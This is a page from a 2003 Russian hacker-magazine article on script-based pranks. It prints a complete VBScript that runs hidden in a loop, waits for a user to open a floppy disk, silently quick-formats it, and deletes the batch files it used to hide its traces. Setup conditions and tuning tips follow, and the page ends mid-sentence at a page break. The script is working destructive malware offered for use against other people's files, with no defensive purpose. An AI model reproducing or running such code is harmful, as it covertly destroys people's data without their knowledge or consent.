Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #33, АВГУСТ 2003 г.

ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-2


При желании можешь усовершенствовать этот скрипт. Например, можно считать количество попыток использования диска и каждый раз выдавать новое предупреждение. В общем, пофантазируй.

ИЗДЕВАЕМСЯ НАД FDD И ЕГО ХОЗЯИНОМ

С оптическими дисками разобрались, но остались дискеты. Что можно делать с дискетами? Извлекать не получится по причине отсутствия какой либо связи данной механической части с электроникой. Остается логическая составляющая. Самым оптимальным вариантом мне представляется форматирование, причем скрытое. Открыл так чел документ с дискетки, работает потихоньку, глянь - а файлов-то и нет! Только осторожно: возможны приступы вандализма, членовредительство :), громкие размышления на тему вирусов, вирусописателей и интимной жизни их родственников.

Приступим.

Option Explicit

Dim WshShell, fso,flopp, odrive

Dim commandfile, batfile, txtcom, txtbat

Dim disklabel, x

'Объявляем используемые переменные

commandfile="c:\LOG.LOG"

'Имя файла с командами, передаваемыми программе форматирования

batfile="c:\file.bat"

'Имя запускаемого файла

disklabel="Loh"

'Метка для форматируемого диска

x=0

On Error Resume Next

'Блокировка сообщений об ошибках

set WshShell=WScript.CreateObject("WScript.Shell")

Set fso = CreateObject("Scripting.FileSystemObject")

'Подключаются системные объекты

Do While x=0

'Создается бесконечный цикл

'для работы скрипта до перезагрузки

Wscript.sleep 10000

'Пауза между проверками наличия диска в дисководе в миллисекундах

If WshShell.AppActivate("A:") then

'Если юзер открыл окно дискеты

'Значит он вставил ее в дисковод

Set flopp = fso.GetDrive("A")

'Получаем доступ к флоппу

If flopp.IsReady and flopp.FreeSpace <> flopp.TotalSize then

'Если он не чистый

'То создается файл с ответами

Set txtcom = fso.opentextfile(commandfile,2,true)

txtcom.writeline

txtcom.writeline "y"

txtcom.close

'и пакетный файл с командой форматирования

'и заметания следов

Set txtbat = fso.opentextfile(batfile,2,true)

txtbat.writeline "format a: /q /v:" & disklabel & " < " & commandfile

txtbat.writeline "del " & commandfile

txtbat.writeline "del " & batfile

txtbat.close

WshShell.run batfile,0

'Теперь полученная парочка принимается за работу

'Причем в скрытом режиме

End if

End if

'Заново повторяется вся процедура

Loop

Эта фича будет работать при условиях:

1. Дискета не защищена от записи.

2. В "Свойствах папки" - "Вид" - отмечена опция "Выводить полный путь в строке заголовка".

3. Окно проводника с содержимым дискеты открыто, пусть даже в свернутом виде, как минимум 10 секунд. Если интервал не устраивает, измени строку

Wscript.sleep 10000

например, на

Wscript.sleep 5000

4. Корень диска С не защищен от записи (бывает и такое). В противном случае замени имена (расположение) файлов c:\LOG.LOG и c:\file.bat на другие. В принципе, имена и расширения могут быть любыми.

5. Данному пользователю разрешено форматировать дискеты (Windows 2k/XP).

6. Если террор производится на компе под управлением Windows XP, то дискета форматируется даже при открытых на ней файлах. Если же используется Винда из серии 9х/МЕ, то нужно заменить строку

Назад на стр. 033-046-1  Содержание  Вперед на стр. 033-046-3